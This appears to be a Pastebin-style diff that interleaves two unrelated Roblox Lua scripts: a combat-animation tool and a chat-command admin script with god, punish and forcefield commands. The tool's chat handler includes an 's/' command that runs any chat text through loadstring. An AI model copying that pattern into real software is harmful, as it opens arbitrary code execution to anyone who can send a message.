| 533 | - | q(function() while true do if ebs then for i=0.4,0.7,0.025 do local tra = (i+0.15)*(db1.Mesh.Scale.x/4) db2.Transparency =i wait() db2.Mesh.Scale=db1.Mesh.Scale*1.2+v3(tra*(db1.Mesh.Scale.x/5),tra*(db1.Mesh.Scale.x/5),tra*(db1.Mesh.Scale.x/5)) end |
| 533 | + | end end |
| 534 | - | for i=0.7,0.4,-0.025 do local tra = (i+0.15)*(db1.Mesh.Scale.x/4) db2.Transparency =i db2.Mesh.Scale=db1.Mesh.Scale*1.2+v3(tra*(db1.Mesh.Scale.x/5),tra*(db1.Mesh.Scale.x/5),tra*(db1.Mesh.Scale.x/5)) wait() end else db2.Transparency = 1 db2.Mesh.Scale = v3(1.2,1.2,1.2)*5 end wait() end end) |
| 534 | + | if itnum == 1 then |
| 535 | - | q(function() while true do for i=0,1,0.05 do badge.Transparency = i wait() end badge.Transparency = 1 wait(1) for i=1,0,-0.05 do badge.Transparency = i wait() end wait(4) end end) |
| 535 | + | it.Value = string.sub(msg,danumber2 + 1) |
| 536 | - | sho = pa(su,"","Block",0,0,0,false,false,0,0,"Black") qi({"SpecialMesh",sho,Scale=v3(1.1,1.1,1.1)*5,MeshType="Wedge"})
|
| 536 | + | end end end end end |
| 537 | - | show = qi({"Weld",han2,Part0=raa,Part1=sho,C0=cn(0,0.545,0)*ca(rd(180),rd(90),0)})
|
| 537 | + | |
| 538 | - | chak = pa(su,"","Block",0,0,0,false,false,0,0,"") qi({"SpecialMesh",chak,Scale=v3(0.09,0.09,0.24)*5,MeshType="FileMesh",MeshId=Decs.Chakram})
|
| 538 | + | if string.sub(msg,1,6) == "ungod/" then |
| 539 | - | chakw = qi({"Weld",han2,Part0=raa,Part1=chak,C0=cn(0.56,0.5,0)*ca(0,rd(-90),0)})
|
| 539 | + | local player = findplayer(string.sub(msg,7),speaker) |
| 540 | - | chak2 = pa(su,"","Block",0,0,0,false,false,0.1,0.1,"White") qi({"SpecialMesh",chak2,Scale=v3(0.15,0.15,0.05)*5,MeshType="FileMesh",MeshId=Decs.Chakram2})
|
| 540 | + | if player ~= 0 then |
| 541 | - | chak2w = qi({"Weld",han2,Part0=raa,Part1=chak2,C0=cn(0.56,0.5,0)*ca(0,rd(-90),0)})
|
| 541 | + | for i = 1,#player do |
| 542 | - | local efww = 0 |
| 542 | + | if player[i].Character ~= nil then |
| 543 | - | q(function() while true do wait() if FindGround(to.CFrame) then efww = efww+25 ef.CFrame = FindGround(to.CFrame)*ca(0,rd(efww),0)*ca(rd(90),0,0) else ef.CFrame=cn(10000,10000,10000) end end end) |
| 543 | + | local isgod = false |
| 544 | - | q(function() while true do wait(0.035) chak2w.C0 = chak2w.C0*ca(0,0,rd(25)) end end) |
| 544 | + | local c = player[i].Character:GetChildren() |
| 545 | - | ---- TUT02LOL |
| 545 | + | for i=1,#c do |
| 546 | - | function Act(k,kb) |
| 546 | + | if c[i].className == "Script" then |
| 547 | - | if kb then |
| 547 | + | if c[i]:FindFirstChild("Context") then
|
| 548 | - | if k == "e" and Anim=="None" then |
| 548 | + | if string.sub(c[i].Context.Value,1,41) == "script.Parent.Humanoid.MaxHealth = 999999" then |
| 549 | - | Anim = "SpawnSwords" Armz(false) e() eb(raa) fac = true |
| 549 | + | c[i]:remove() |
| 550 | - | c2(law,spd,3,-1.5,1,0,30,0,30) c2(tw,spd,3,0,0,0,0,-95,0) c2(hw,spd,3,0,1.5,0,0,95,0) |
| 550 | + | isgod = true |
| 551 | - | c1(raw,spd,3,1,0.5,0,0,0,-80) c2(raw,spd,3,1,0.4,0,0,0,-140) for i=1,5 do SpawnSword(FindGround(to.CFrame*cn(0,-2.75,-0.5+(-i*8)-i)),1+(i/10),15,"Navy blue") wait(0.06) end |
| 551 | + | end end end end |
| 552 | - | eb(raa) fac = false wait(0.2) e() c2(law,spd,3,-1.5,1,0,0,0,0) c2(hw,spd,3,0,1.5,0,0,0,0) c2(tw,spd,3,0,0,0,0,0,0) c1(raw,spd,3,1.5,1,0,0,0,0) Armz(true) |
| 552 | + | if isgod == true then |
| 553 | - | Anim = "None" |
| 553 | + | local c = player[i].Character:GetChildren() |
| 554 | - | elseif k == "q" and Anim=="None" then |
| 554 | + | for i=1,#c do |
| 555 | - | Anim = "GravGrab" Armz(false) e() eb(laa) caw = false |
| 555 | + | if c[i].className == "Part" then |
| 556 | - | c2(raw,spd,3,1.5,1,0,30,0,20) c2(tw,spd,3,0,0,0,0,95,0) c2(hw,spd,3,0,1.5,0,0,-95,0) |
| 556 | + | c[i].Reflectance = 0 |
| 557 | - | c1(law,spd,3,-1,0.5,0,0,0,130) SpikeSucker(to.CFrame*cn(0,5,-6),1) eb(laa) hanw.Part0 = raa hanw.C0 = cn(-0.1,-1.1,0)*ca(0,0,rd(75)) hanw.C1=ca(0,rd(-105),0) |
| 557 | + | end |
| 558 | - | c2(law,spd,3,-1,0.5,0,45,0,90) c2(hw,spd,3,0,1.5,0,0,90,0) c2(tw,spd,3,0,0,0,0,-90,0) c2(hanw,spd,0,-0.1,-2.2,0,0,90,170) |
| 558 | + | if c[i].className == "Humanoid" then |
| 559 | - | Trail(bla3,15,0,"White",0.65,cn(0,-0.2,-1)) rayHit(0.6,1,ra,ca(rd(-90),0,0),8,1.3) |
| 559 | + | c[i].MaxHealth = 100 |
| 560 | - | c1(raw,spd,3,1.3,0.5,0,-30,0,-135) wait(0.5) c2(hanw,spd,0,-0.1,-1.1,0,0,0,75) |
| 560 | + | c[i].Health = 100 |
| 561 | - | caw = true c2(hw,spd,3,0,1.5,0,0,0,0) c2(tw,spd,3,0,0,0,0,0,0) c2(law,spd,3,-1.5,1,0,0,0,0) c1(raw,spd,3,1.5,1,0,30,3,20) hanw.Part0 = t hanw.C1=ca(0,0,0) hanw.C0=cn(0.7,-0.7,0.65)*ca(0,0,rd(45))*ca(0,rd(90),0) c1(raw,spd,3,1.5,1,0,0,0,0) |
| 561 | + | |
| 562 | - | e() Anim = "None" Armz(true) |
| 562 | + | if c[i].Name == "God FF" then |
| 563 | - | elseif k == "z" and Anim=="None" then |
| 563 | + | c[i]:remove() |
| 564 | - | Anim = "Blackspace" Armz(false) Legz(false) caw = false |
| 564 | + | end end end end end end end |
| 565 | - | c2(raw,spd,3,1.5,1,0,20,0,-20) c2(law,spd,3,-1.5,1,0,20,0,20) c2(rlw,spd,3,0.5,-1,0,20,0,-20) c2(llw,spd,3,-0.5,-1,0,20,0,20) c1(tw,spd*0.5,3,0,7,0,0,0,0) Blackspace(t.CFrame,40,3) |
| 565 | + | |
| 566 | - | c2(raw,spd,3,1.5,1,0,0,0,0) c2(law,spd,3,-1.5,1,0,0,0,0) c2(rlw,spd,3,0.5,-1,0,0,0,0) c2(llw,spd,3,-0.5,-1,0,0,0,0) c1(tw,spd,3,0,0,0,0,0,0) Anim = "None" Armz(true) Legz(true) caw = true |
| 566 | + | if string.sub(msg,1,4) == "god/" then |
| 567 | - | elseif k == "g" and Anim=="None" then |
| 567 | + | local player = findplayer(string.sub(msg,5),speaker) |
| 568 | - | Anim = "MatterBall" e() Armz(false) fac = true |
| 568 | + | if player ~= 0 then |
| 569 | - | c2(tw,spd*1.3,3,0,0,0,0,-90,0) c2(hw,spd*1.3,3,0,1.5,0,0,90,0) c1(law,spd*1.3,3,-1,0.5,0,50,0,90-math.deg((to.Position - mouse.hit.p).unit.y)) |
| 569 | + | for i = 1,#player do |
| 570 | - | eb(laa,nil,3) wait(0.3) |
| 570 | + | if player[i].Character ~= nil then |
| 571 | - | c2(tw,spd*1.55,3,0,0,0,0,70,0) c2(hw,spd*1.55,3,0,1.5,0,0,-70,0) c1(law,spd*1.55,3,-1,0.5,0,-20,0,90-math.deg((to.Position - mouse.hit.p).unit.y)) eb(laa,true,2) MatterBall(cn(db1.Position,la.CFrame*cn(0,-20,0).p),3,5,30,1.5) |
| 571 | + | if player[i].Character:FindFirstChild("God FF") == nil then
|
| 572 | - | fac = false c2(tw,spd*1.3,3,0,0,0,0,0,0) c2(hw,spd*1.3,3,0,1.5,0,0,0,0) c1(law,spd*1.3,3,-1.5,1,0,0,0,0) e() Armz(true) wait(0.1) Anim = "None" |
| 572 | + | createscript([[script.Parent.Humanoid.MaxHealth = 999999 |
| 573 | - | elseif k == "r" and Anim=="None" then |
| 573 | + | script.Parent.Humanoid.Health = 999999 |
| 574 | - | Anim = "Block" Armz(false) fac = true |
| 574 | + | ff = Instance.new("ForceField")
|
| 575 | - | c2(tw,spd,3,0,0,0,0,-65,0) c2(hw,spd,3,0,1.5,0,0,65,0) c1(raw,spd,3,1.5,0.5,0.2,-100,-25,-5) c2(law,spd,3,-1.3,1,0.2,20,0,20) |
| 575 | + | ff.Name = "God FF" |
| 576 | - | local spm = chak2.Mesh.Scale for i=1,11,1 do chak2.Reflectance = i/40 chak2.Mesh.Scale = spm*i wait() end |
| 576 | + | ff.Parent = script.Parent |
| 577 | - | block.Value = true repeat wait(0.4) GlowMesh(true,chak2.Mesh.MeshId,chak2,chak2.Mesh.Scale*1.5,'White',cn(0,0,0),chak2.Transparency,1,0.025) until not ky[k] for i=11,1,-1 do chak2.Reflectance = i/40 chak2.Mesh.Scale = spm*i wait() end chak2.Reflectance = 0 |
| 577 | + | function ot(hit) |
| 578 | - | block.Value = false c2(tw,spd*1.3,3,0,0,0,0,0,0) c2(hw,spd*1.3,3,0,1.5,0,0,0,0) c2(law,spd*1.3,3,-1.5,1,0,0,0,0) c1(raw,spd*1.3,3,1.5,1,0,0,0,0) Armz(true) fac = false Anim = "None" |
| 578 | + | if hit.Parent ~= script.Parent then |
| 579 | - | elseif k == "v" and Anim=="None" then |
| 579 | + | h = hit.Parent:FindFirstChild("Humanoid")
|
| 580 | - | Anim = "RakeFist" Armz(false) fac = true |
| 580 | + | if h ~= nil then |
| 581 | - | c1(raw,spd*1.5,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd*1.5,3,1.5,0.5,0,-340,0,25) hanw.Part0 = raa hanw.C0 = cn(-0.1,-1.1,0)*ca(0,0,rd(75)) hanw.C1=ca(0,rd(-105),0) |
| 581 | + | h.Health = 0 |
| 582 | - | if (to.Position - mouse.hit.p).magnitude < 125 then c2(hanw,spd*1.5,0,-0.1,-1.2,0,0,-30,100) c1(raw,spd*1.5,3,1.5,0.5,0,-135,-60,0) wait(0.2) FistBoom(cn(to.CFrame*cn(-1.5,1.5,-4).p,to.CFrame*cn(-1.5,1.5,-5).p),1,rn(d[1]*2,d[2]*2),(to.Position-v3(mouse.hit.p.x,to.Position.y,mouse.hit.p.z)).magnitude-10) fac = false c1(raw,spd,3,1,0.5,0,-50,70,0) end fac = false |
| 582 | + | end |
| 583 | - | wait(0.2) c2(hanw,spd*0.7,0,-0.1,-1.2,0,0,0,70) c1(raw,spd,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd,3,1.5,0.5,0,-340,0,25) hanw.Part0 = t hanw.C1=ca(0,0.5,0) hanw.C0=cn(0.7,-0.7,0.65)*ca(0,0,rd(45))*ca(0,rd(90),0) |
| 583 | + | h = hit.Parent:FindFirstChild("Zombie")
|
| 584 | - | c1(raw,spd*0.8,3,1.5,1,0,0,0,0) Armz(true) Anim = "None" |
| 584 | + | if h ~= nil then |
| 585 | - | elseif k=="h" and Anim=="None" then |
| 585 | + | h.Health = 0 |
| 586 | - | Anim = "Worm" Armz(false) e(3) fac = true caw = false |
| 586 | + | end end end |
| 587 | - | c2(tw,spd,3,0,0,0,0,-90,0) c2(hw,spd,3,0,1.5,0,0,90,0) c1(raw,spd*1.5,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd*1.5,3,1.5,0.5,0,-340,0,25) hanw.Part0 = raa hanw.C0 = cn(-0.1,-1.1,0)*ca(0,0,rd(75)) hanw.C1=ca(0,rd(-105),0) |
| 587 | + | c = script.Parent:GetChildren() |
| 588 | - | c2(hanw,spd,0,-0.1,-1.5,0,0,0,180) c1(raw,spd,3,1,0.5,0,-180,0,-30) c1(raw,spd,3,1,0.5,0,0,0,-90) |
| 588 | + | for i=1,#c do |
| 589 | - | local tpos = mouse.hit.p if (tpos - bla2.Position).magnitude < 350 then q(function() local to = pa(su,"","Block",2,1,2,false,true,0.1,0,"White") it('CylinderMesh',to) local to2 = pa(su,"","Block",0,0,0,false,true,0.1,0,"White") qi({"SpecialMesh",to2,Scale=v3(2,2,2),MeshType="FileMesh",MeshId=Decs.Totem})
|
| 589 | + | if c[i].className == "Part" then |
| 590 | - | for i=1,5,0.5 do to.Size=v3(2,i,2) to.CFrame=cn(tpos+v3(0,i/2,0)) to2.CFrame = to.CFrame*cn(0,(i/2)+1,0) wait() end wait(3.5) for i=0.2,1,0.1 do to.Transparency = i to2.Transparency = i wait() end to:Remove() to2:Remove() end) |
| 590 | + | c[i].Touched:connect(ot) |
| 591 | - | for i=1,8 do Lightning(bla2.Position,tpos,math.floor((bla2.Position-tpos).magnitude/18)+1,1.5,"White",0.3,0) wait(0.04) end fac = false |
| 591 | + | c[i].Reflectance = 1 |
| 592 | - | caw = true q(function() wait(1) WormDrill(cn(tpos),rn(25,30)/10) end) c1(law,spd,3,-1.5,0.25,0,0,0,180) q(function() local to = pa(su,"","Block",1.5,1.5,1.5,false,true,0.1,0,"White") qi({"SpecialMesh",to,MeshType="Sphere"}) for i=1,15,1 do to.Size=v3(1.5,i*2,1.5) to.CFrame=la.CFrame*cn(0,-2+(-i),0) wait() end GlowMesh(false,"Sphere",t,v3(35,35,35),'Navy blue',la.CFrame*cn(0,-32,0),0.1,1,0.1) fade(to,0.1) end)
|
| 592 | + | end end]],player[i].Character) |
| 593 | - | end fac = false caw = true c2(hanw,spd*0.7,0,-0.1,-1.2,0,0,0,70) c1(raw,spd,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd,3,1.5,0.5,0,-340,0,25) hanw.Part0 = t hanw.C1=ca(0,0,0) hanw.C0=cn(0.7,-0.7,0.65)*ca(0,0,rd(45))*ca(0,rd(90),0) |
| 593 | + | end end end end end |
| 594 | - | c2(tw,spd,3,0,0,0,0,0,0) c2(hw,spd,3,0,1.5,0,0,0,0) c2(law,spd*0.8,3,-1.5,1,0,0,0,0) c1(raw,spd*0.8,3,1.5,1,0,0,0,0) Armz(true) e(3) Anim = "None" |
| 594 | + | |
| 595 | - | elseif k == "y" and Anim == "None" then |
| 595 | + | if string.sub(msg,1,7) == "punish/" then |
| 596 | - | Anim = "Whirlwind" Armz(false) e() fac = true |
| 596 | + | local player = findplayer(string.sub(msg,8),speaker) |
| 597 | - | c1(raw,spd*1.5,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd*1.5,3,1.5,0.5,0,-340,0,25) hanw.Part0 = raa hanw.C0 = cn(-0.1,-1.1,0)*ca(0,0,rd(75)) hanw.C1=ca(0,rd(-105),0) |
| 597 | + | if player ~= 0 then |
| 598 | - | c2(hanw,spd,0,-0.1,-1.2,0,0,0,90) c2(hanw,spd,1,0,0,0,0,0,0) c1(raw,spd,3,1,0.5,0,-180,0,0) wait(0.1) |
| 598 | + | for i = 1,#player do |
| 599 | - | local to = pa(su,"","Block",0,0,0,false,false,0.2,0,"White") it('CylinderMesh',to).Scale=v3(9,0.2,9)*5 local tom = qi({"Weld",to,Part0=ra,Part1=to})
|
| 599 | + | if player[i].Character ~= nil then |
| 600 | - | q(function() for i=1,40 do if i == 20 then for hax=-50,50,25 do SpawnTornado(t.CFrame*cn(0,3,0)*ca(0,rd(hax),0),1,1.2,6) end end tom.C0 = cn(0,-2.3,0)*ca(rd(rn(-8,8)),0,rd(rn(-8,8))) wait() end fade(to,0.1) end) c1(hanw,spd*0.3,1,0,0,0,360*5,0,0) cleanweld(hanw,"a1") |
| 600 | + | player[i].Character.Parent = game.Lighting |
| 601 | - | c2(hanw,spd*0.7,0,-0.1,-1.2,0,0,0,70) c1(raw,spd,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd,3,1.5,0.5,0,-340,0,25) hanw.Part0 = t hanw.C1=ca(0,0,0) hanw.C0=cn(0.7,-0.7,0.65)*ca(0,0,rd(45))*ca(0,rd(90),0) |
| 601 | + | end end end end |
| 602 | - | c1(raw,spd,3,1.5,1,0,0,0,0) Armz(true) e() fac = false Anim ="None" |
| 602 | + | |
| 603 | - | elseif k == "n" and Anim=="None" then |
| 603 | + | if string.sub(msg,1,9) == "unpunish/" then |
| 604 | - | Anim = "CrownSwords" Armz(false) Legz(false) e() caw = false c2(tw,spd,3,0,5,2,-20,0,0) c2(llw,spd,3,-0.5,-1,0,20,0,20) c2(rlw,spd,3,0.5,-1,0,20,0,-20) |
| 604 | + | local player = findplayer(string.sub(msg,10),speaker) |
| 605 | - | c1(raw,spd*1.5,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd*1.5,3,1.5,0.5,0,-340,0,25) hanw.Part0 = raa hanw.C0 = cn(-0.1,-1.1,0)*ca(0,0,rd(75)) hanw.C1=ca(0,rd(-105),0) |
| 605 | + | if player ~= 0 then |
| 606 | - | c2(hanw,spd,0,-0.1,-1.2,0,40,0,205) c2(hanw,spd,1,0,0,0,0,-180,0) c2(raw,spd,3,1,0.5,-0.5,-135,-25,0) c1(law,spd,3,-1,0.5,-0.5,-135,25,0) wait(0.15) |
| 606 | + | for i = 1,#player do |
| 607 | - | c2(raw,spd,3,1,0.5,-0.5,-70,-25,0) c2(law,spd,3,-1,0.5,-0.5,-70,25,0) c1(tw,spd,3,0,0,0,30,0,0) wait(0.2) GlowMesh(false,"Sphere",t,v3(9,15,12),'Navy blue',to.CFrame,0.1,1,0.05) CrownSwords(to.CFrame*cn(0,-2.5,-3)) to.CFrame = to.CFrame*cn(0,0,30) GlowMesh(false,"Sphere",t,v3(9,15,12),'Navy blue',to.CFrame,0.1,1,0.05) |
| 607 | + | if player[i].Character ~= nil then |
| 608 | - | wait(0.2) e() c2(tw,spd,3,0,0,0,0,0,0) c2(llw,spd,3,-0.5,-1,0,0,0,0) c2(rlw,spd,3,0.5,-1,0,0,0,0) c2(hanw,spd*0.7,0,-0.1,-1.2,0,0,0,70) c1(raw,spd,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd,3,1.5,0.5,0,-340,0,25) hanw.Part0 = t hanw.C1=ca(0,0,0) hanw.C0=cn(0.7,-0.7,0.65)*ca(0,0,rd(45))*ca(0,rd(90),0) |
| 608 | + | player[i].Character.Parent = game.Workspace |
| 609 | - | c1(law,spd,3,-1.5,1,0,0,0,0) c1(raw,spd,3,1.5,1,0,0,0,0) Legz(true) Armz(true) caw = true Anim ="None" |
| 609 | + | player[i].Character:MakeJoints() |
| 610 | - | elseif k == "b" and Anim=="None" then |
| 610 | + | end end end end |
| 611 | - | Anim = "DeathWall" Armz(false) e() caw = false |
| 611 | + | |
| 612 | - | c1(raw,spd*1.5,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd*1.5,3,1.5,0.5,0,-340,0,25) hanw.Part0 = raa hanw.C0 = cn(-0.1,-1.1,0)*ca(0,0,rd(75)) hanw.C1=ca(0,rd(-105),0) |
| 612 | + | if string.sub(msg,1,3) == "ff/" then |
| 613 | - | c2(hanw,spd,0,-0.1,-1.2,0,40,0,190) c2(hanw,spd,1,0,0,0,0,-180,0) c2(raw,spd,3,1,0.5,-0.5,-135,-25,0) c1(law,spd,3,-1,0.5,-0.5,-135,25,0) wait(0.15) |
| 613 | + | local player = findplayer(string.sub(msg,4),speaker) |
| 614 | - | c2(raw,spd*1.4,3,1,0.5,-0.5,-45,-25,0) c1(law,spd*1.4,3,-1,0.5,-0.5,-45,25,0) GlowMesh(false,"Sphere",t,v3(15,1,15),'Navy blue',to.CFrame*cn(0,-2.8,-5.5),0.1,1,0.03) |
| 614 | + | if player ~= 0 then |
| 615 | - | wait(0.2) for i=0,300,60 do SpawnDeathBlock(to.CFrame*ca(0,rd(i),0)*cn(0,-2.8,-10),to.Position,1) wait() end |
| 615 | + | for i = 1,#player do |
| 616 | - | wait(0.2) e() c2(tw,spd,3,0,0,0,0,0,0) c2(llw,spd,3,-0.5,-1,0,0,0,0) c2(rlw,spd,3,0.5,-1,0,0,0,0) c2(hanw,spd*0.7,0,-0.1,-1.2,0,0,0,70) c1(raw,spd,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd,3,1.5,0.5,0,-340,0,25) hanw.Part0 = t hanw.C1=ca(0,0,0) hanw.C0=cn(0.7,-0.7,0.65)*ca(0,0,rd(45))*ca(0,rd(90),0) |
| 616 | + | if player[i].Character ~= nil then |
| 617 | - | c1(law,spd,3,-1.5,1,0,0,0,0) c1(raw,spd,3,1.5,1,0,0,0,0) Armz(true) caw = true Anim ="None" |
| 617 | + | local ff = Instance.new("ForceField")
|
| 618 | - | elseif k == "f" and Anim=="None" then |
| 618 | + | ff.Parent = player[i].Character |
| 619 | - | Anim = "RapidKick" Legz(false) |
| 619 | + | end end end end |
| 620 | - | c1(tw,spd,3,0,-0.5,0,-90,0,90) local lo = {-1,-1.6} local ty = 0 ws(25)
|
| 620 | + | |
| 621 | - | c1(tw,0.013,3,0,-0.5,0,-90,0,90+(360*5),function() ty=ty+1 local tz = 35 if lo[1] == -1 then lo = {-1.6,-1} else lo = {-1,-1.6} end
|
| 621 | + | if string.sub(msg,1,5) == "unff/" then |
| 622 | - | c2(llw,1,3,-0.5,lo[1],0,rn(-tz,tz),0,rn(-tz,tz)) |
| 622 | + | local player = findplayer(string.sub(msg,6),speaker) |
| 623 | - | c2(rlw,1,3,0.5,lo[2],0,rn(-tz,tz),0,rn(-tz,tz)) |
| 623 | + | if player ~= 0 then |
| 624 | - | local tst = ll if rn(1,2) == 1 then tst = rl end |
| 624 | + | for i = 1,#player do |
| 625 | - | local das = pa(su,"","Block",1.5,2.5,1.5,false,true,0.1,0,"White") qi({"SpecialMesh",das,MeshType="Sphere"})
|
| 625 | + | if player[i].Character ~= nil then |
| 626 | - | das.CFrame=tst.CFrame*cn(0,-4,0) fade(das,0.2) |
| 626 | + | local c = player[i].Character:GetChildren() |
| 627 | - | if ty%3== 0 then hu:MoveTo(to.CFrame*cn(0,0,-5).p,to) local rr = 2 GetRegion(to.CFrame*cn(0,0,-3).p-v3(rr,rr,rr),to.CFrame*cn(0,0,-3).p+v3(rr,rr,rr),function(v) Dmgz(false,v.Humanoid,rn(d[1],d[2])*0.2,v.Torso) end) end |
| 627 | + | for i2 = 1,#c do |
| 628 | - | if ty%6==0 then GlowMesh(false,Decs.Crown,t,v3(3,6,3),'Navy blue',to.CFrame*cn(0,0,3)*ca(rd(90),0,0),0.1,1,0.05) end |
| 628 | + | if c[i2].className == "ForceField" then |
| 629 | - | end) ws(16) |
| 629 | + | c[i2]:remove() |
| 630 | - | c2(llw,1,3,-0.5,-1,0,0,0,0) c2(rlw,1,3,0.5,-1,0,0,0,0) c1(tw,spd,3,0,0,0,0,0,360*5) cleanweld(tw,"a1") Legz(true) Anim="None" |
| 630 | + | end end end end end end |
| 631 | ||
| 632 | - | else |
| 632 | + | if string.sub(msg,1,9) == "sparkles/" then |
| 633 | - | if k == "q" then |
| 633 | + | local player = findplayer(string.sub(msg,10),speaker) |
| 634 | - | end -- q end |
| 634 | + | if player ~= 0 then |
| 635 | - | end -- l end |
| 635 | + | for i = 1,#player do |
| 636 | - | end -- func end |
| 636 | + | if player[i].Character ~= nil then |
| 637 | - | local pla = pa(su,"","Block",7,1,7,true,true,1,0,"White") |
| 637 | + | local torso = player[i].Character:FindFirstChild("Torso")
|
| 638 | - | function ButtonDown() if Anim~="None" then return end |
| 638 | + | if torso ~= nil then |
| 639 | - | to.Velocity=v3(0,0,0) if hu.Jump then GlowMesh(false,"Sphere",t,v3(8,2,8),'White',to.CFrame*cn(0,-2,0),0.1,1,0.05) GlowMesh(false,Decs.Crown,t,v3(5,3,5),'White',to.CFrame*cn(0,-1.5,0)*ca(rd(180),0,0),0.1,1,0.05) to.CFrame=to.CFrame*cn(0,20,0) |
| 639 | + | local sparkles = Instance.new("Sparkles")
|
| 640 | - | hu.Jump=false GlowMesh(false,"Sphere",t,v3(8,2,8),'Navy blue',to.CFrame*cn(0,-4,0),0.1,1,0.05) |
| 640 | + | sparkles.Color = Color3.new(math.random(1,255),math.random(1,255),math.random(1,255)) |
| 641 | - | else GlowMesh(false,"Sphere",t,v3(8,10,2),'Navy blue',to.CFrame,0.1,1,0.05) |
| 641 | + | sparkles.Parent = torso |
| 642 | - | GlowMesh(false,Decs.Crown,t,v3(5,3,5),'Navy blue',to.CFrame*cn(0,0,1)*ca(rd(90),0,0),0.1,1,0.05) to.CFrame=to.CFrame*cn(0,0,-12) GlowMesh(false,"Sphere",t,v3(8,10,2),'White',to.CFrame*cn(0,0,1),0.1,1,0.05) end |
| 642 | + | end end end end end |
| 643 | - | pla.CFrame= to.CFrame*cn(0,-3.4,0) local orpos = pla.Position repeat wait(0.5) GlowMesh(false,"Sphere",t,v3(14,1,14),'Navy blue',cn(orpos)*cn(0,0.5,0),0.1,1,0.02) until pla.Position~=orpos or (pla.Position-to.Position).magnitude>10 |
| 643 | + | |
| 644 | - | to.Velocity=v3(0,0,0) |
| 644 | + | if string.sub(msg,1,11) == "unsparkles/" then |
| 645 | local player = findplayer(string.sub(msg,12),speaker) | |
| 646 | - | pl.Chatted:connect(function(ms) local m = ms:lower() if su.Parent == nil then return end |
| 646 | + | if player ~= 0 then |
| 647 | - | if m=="tkon" then tk = true |
| 647 | + | for i = 1,#player do |
| 648 | - | elseif m=="tkoff" then tk = false |
| 648 | + | if player[i].Character ~= nil then |
| 649 | - | elseif m == "rake" and Anim=="None" then Anim = "Special" |
| 649 | + | local torso = player[i].Character:FindFirstChild("Torso")
|
| 650 | - | for i=1,8 do FistBoom(to.CFrame*ca(0,rd((360/8)*i),0)*cn(0,3,-6),1.5,rn(d[1]*2,d[2]*2),15) end wait(2) Anim="None" |
| 650 | + | if torso ~= nil then |
| 651 | - | elseif m == "torn" and Anim=="None" then Anim = "Special" |
| 651 | + | local c = torso:GetChildren() |
| 652 | - | for i=1,10 do SpawnTornado(t.CFrame*cn(0,3,0)*ca(0,rd((360/10)*i),0)*cn(0,0,-2.5),1.5,1.5,8) end Anim = "None" |
| 652 | + | for i2 = 1,#c do |
| 653 | - | elseif m == "blast" and Anim=="None" then Anim = "Special" |
| 653 | + | if c[i2].className == "Sparkles" then |
| 654 | - | for i=1,10 do MatterBall(to.CFrame*ca(0,rd((360/10)*i),0)*cn(0,1.5,-2.5),6,5,30,1.5) end Anim = "None" |
| 654 | + | c[i2]:remove() |
| 655 | - | elseif m:sub(1,2) == "s/" then q(function() loadstring(ms:sub(3))() end) |
| 655 | + | end end end end end end end |
| 656 | - | end end) |
| 656 | + | |
| 657 | - | bin = it("HopperBin",nil) --bin = it("Tool") it("Part",bin).Name = "Handle"
|
| 657 | + | if string.sub(msg,1,6) == "admin/" then |
| 658 | - | bin.TextureId="http://www.roblox.com/asset/?id=71521159" |
| 658 | + | local imgettingtiredofmakingthisstupidscript = Blobbie244(speaker.Name) |
| 659 | - | bin.Parent=bp |
| 659 | + | if imgettingtiredofmakingthisstupidscript == true then |
| 660 | - | bin.Name = sn |
| 660 | + | local player = findplayer(string.sub(msg,7),speaker) |
| 661 | - | ---- TUT03LOL |
| 661 | + | if player ~= 0 then |
| 662 | - | bin.Selected:connect(function(mouse2) mouse = mouse2 |
| 662 | + | for i = 1,#player do |
| 663 | - | mouse.KeyDown:connect(function(k) ky[k:lower()] = true |
| 663 | + | for i2 =1,#namelist do |
| 664 | - | Act(k:lower(),true) end) |
| 664 | + | if namelist[i2] == player[i].Name then |
| 665 | - | mouse.KeyUp:connect(function(k) ky[k:lower()] = false |
| 665 | + | variablelist[i2]:disconnect() |
| 666 | - | Act(k:lower(),false) end) |
| 666 | + | flist[i2]:disconnect() |
| 667 | - | mouse.Button1Down:connect(function() ButtonDown() end) |
| 667 | + | table.remove(variablelist,i2) |
| 668 | - | end) |
| 668 | + | table.remove(flist,i2) |
| 669 | - | ---- TUT04LOL |
| 669 | + | table.remove(namelist,i2) |
| 670 | - | bin.Deselected:connect(function() |
| 670 | + | end end |
| 671 | - | end) |
| 671 | + | local tfv = player[i].Chatted:connect(function(msg) oc(msg,player[i]) end) |
| 672 | - | --bin.Parent = c |
| 672 | + | table.insert(namelist,player[i].Name) |
| 673 | - | fac = false local bgg = it('BodyGyro',to)
|
| 673 | + | table.insert(variablelist,tfv) |
| 674 | - | ---- TUT05LOL |
| 674 | + | local tfv = player[i].Chatted:connect(function(msg) foc(msg,player[i]) end) |
| 675 | - | q(function() while wait() do |
| 675 | + | table.insert(flist,tfv) |
| 676 | - | if caw then hu.WalkSpeed = wss else hu.WalkSpeed = 0 end |
| 676 | + | end end end end |
| 677 | - | if fac then bgg.maxTorque = v3(1/0,1/0,1/0) bgg.D = 50 bgg.cframe = cn(to.Position,v3(mouse.hit.p.x,to.Position.y,mouse.hit.p.z)) else bgg.maxTorque = v3(0,0,0) end |
| 677 | + | |
| 678 | - | end end) |
| 678 | + | if string.sub(msg,1,8) == "unadmin/" then |
| 679 | local imgettingtiredofmakingthisstupidscript = Blobbie244(speaker.Name) | |
| 680 | if imgettingtiredofmakingthisstupidscript == true then | |
| 681 | local player = findplayer(string.sub(msg,9),speaker) | |
| 682 | if player ~= 0 then | |
| 683 | for i = 1,#player do | |
| 684 | local imgettingtiredofmakingthisstupidscript = Blobbie244(player[i].Name) | |
| 685 | if imgettingtiredofmakingthisstupidscript == false then | |
| 686 | for i2 =1,#namelist do | |
| 687 | if namelist[i2] == player[i].Name then | |
| 688 | variablelist[i2]:disconnect() | |
| 689 | table.remove(variablelist,i2) | |
| 690 | flist[i2]:disconnect() | |
| 691 | table.remove(flist,i2) | |
| 692 | table.remove(namelist,i2) | |
| 693 | end end end end end end end | |
| 694 | ||
